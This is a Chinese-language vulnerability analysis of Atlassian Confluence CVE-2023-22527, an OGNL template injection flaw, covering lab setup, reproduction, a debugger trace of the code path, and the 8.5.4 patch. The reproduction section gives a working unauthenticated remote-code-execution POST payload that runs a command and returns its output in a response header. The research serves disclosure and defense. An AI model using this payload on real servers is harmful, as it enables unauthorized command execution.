长亭百川云 - 文章详情

Atlassian Confluence 模板注入漏洞分析(CVE-2023-22527)

中孚安全技术研究

117

2024-07-13

1. 前言

跟踪调试一下命令执行的过程,其实就是表达式递归解析,有些许繁琐。

官方公告:

https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html

漏洞描述:

Confluence 存在 Velocity 模板注入漏洞,未经身份验证的攻击者可以直接访问*.vm文件传入恶意 OGNL 表达式来实现 RCE。

漏洞成因**:**

Velocity 模板渲染时需要的参数来自于上下文中,通过向上下文中传入恶意参数值,如果没有对参数进行过滤或进行了不当的调用,就会导致注入漏洞产生。

Confluence 使用了 Struts2 框架和 Velocity 模板引擎,所以可以通过 OGNL 表达式向 Velocity 模板中嵌入 Struts2 上下文的恶意数据来进行利用。

影响版本:

Confluence Data Center and Server:

  • 8.0.x

  • 8.1.x

  • 8.2.x

  • 8.3.x

  • 8.4.x

  • 8.5.0 ~ 8.5.3

2. 环境搭建

下载地址:https://www.atlassian.com/software/confluence/download-archives

官网下载 8.5.3 版本,下载对应系统的安装包和源码。

具体安装步骤之前有写过:

元亨-blckder02,公众号:中孚安全技术研究Confluence 数据中心和服务器中的访问控制漏洞(CVE-2023-22515)

如果出现下面的报错,就按链接里的方法解决:http://confluence.atlassian.com/x/GAtmDg;

也就是修改下confluence.cfg.xml中 jdbc 连接的内容。

<property name="hibernate.connection.url">jdbc:mysql://localhost:3306/confluence?sessionVariables=transaction_isolation='READ-COMMITTED'</property>

重新启动,搭建成功。

3. 漏洞复现

POST 请求/template/aui/text-inline.vm,传入如下回显 payload:

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new+freemarker.template.utility.Execute()).exec({"whoami"}))

label参数值解析:

#request['KEY_velocity.struts2.context']:从 request 获取 Struts2 中与 Velocity 集成的上下文对象;

.internalGet('ognl'):从上下文对象中获取 OGNL 上下文;

.findValue(#parameters.x,{}):使用 OGNL 表达式从请求参数中获取x的值。

目的就是对参数x进行表达式解析,所以通过x传入恶意表达式,就可以实现命令执行。

x参数值解析:

@org.apache.struts2.ServletActionContext:获取上下文对象;

@getResponse():调用静态方法 getResponse();

setHeader('X-Cmd-Response',(new+freemarker.template.utility.Execute()).exec({"whoami"})):调用 setHeader() 设置响应头;

(new+freemarker.template.utility.Execute()).exec({"whoami"}):生成一个 Freemarker 模板引擎的 Execute 对象,调用其 exec() 方法执行命令。

4. 漏洞分析

/template/aui/text-inline.vm文件内容如下,接收$parameters中的参数,并且$parameters.label以字符串的形式传给了$stack.findValue。

Confluence 的路由表配置在confluence/WEB-INF/classes/com/atlassian/confluence/impl/webapp/UrlPattern.class,能直接访问*.vm;

Servlet 注册在confluence/WEB-INF/classes/com/atlassian/confluence/impl/webapp/Servlets.class,访问*.vm的请求是由 ConfluenceVelocityServlet 处理的。

在 ConfluenceVelocityServlet.doPost() 下断点开始跟踪,此时 context 中已经有传入的label和x两个参数;

跟进 handleRequest(),获取到当前请求的路径,并且根据/template/aui/text-inline.vm名称返回对应的模板对象。

接着跟进 mergeTemplate() 合并模板和上下文,调用 merge() 将结果输出到writer;

merge() 中创建了一个内部上下文适配器ica,用于在 Velocity 引擎中执行模板。将模板名称和模板对象都放入了这个适配器中,然后调用 render() 渲染模板,结果写到writer;

递归渲染子节点,text-inline.vm 中的第一个节点就是#set( $labelValue = $stack.findValue("getText('$parameters.label')") );

跟进,逐步拆分节点,这里获取到参数中的label值,放入params数组中,然后获取并调用 OgnlValueStack.findValue();

跟进 findValue(),解析并执行表达式。

拆分计算表达式,到findValue(#parameters.x, {  })时,result是一个 OgnlTool 对象;

继续拆分计算,获取x的值。

返回x的值;

回到 ASTMethod.getValueBody(),此时的args就是x的值,接着调用 OgnlTool.findValue() 方法。

跟进 OgnlTool.findValue() 方法,就开始对x表达式进行解析了,继续拆分计算;

获取到 Execute 对象;

调用 exec() 方法,带入whoami参数;

在这执行命令。

然后将结果返回,调用 setHeader() 方法将结果输出到响应头的X-Cmd-Response字段中。

整体看一下 AST 语法树结构,就是一层一层节点的递归解析。

5. 补丁分析

8.5.4版本中新增了一个 ConfluenceOgnlGuard 类,用于拦截和检查 OGNL 表达式。

ConfluenceOgnlGuard 继承了org.apache.struts_struts2-core-6.3.0-atlassian-8.jar!\org\apache\struts2\ognl\StrutsOgnlGuard.class;

在将 OGNL 表达式解析成 AST 语法树结构时,会调用其中的 containsExcludedNodeType() 方法检查生成的语法树是否包含禁止的节点类型;

如果包含则会将表达式解析结果设为_ognl_guard_blocked,后面就会抛出异常,解析失败,无法执行命令。

参考链接:

https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/

https://forum.butian.net/share/2741

https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2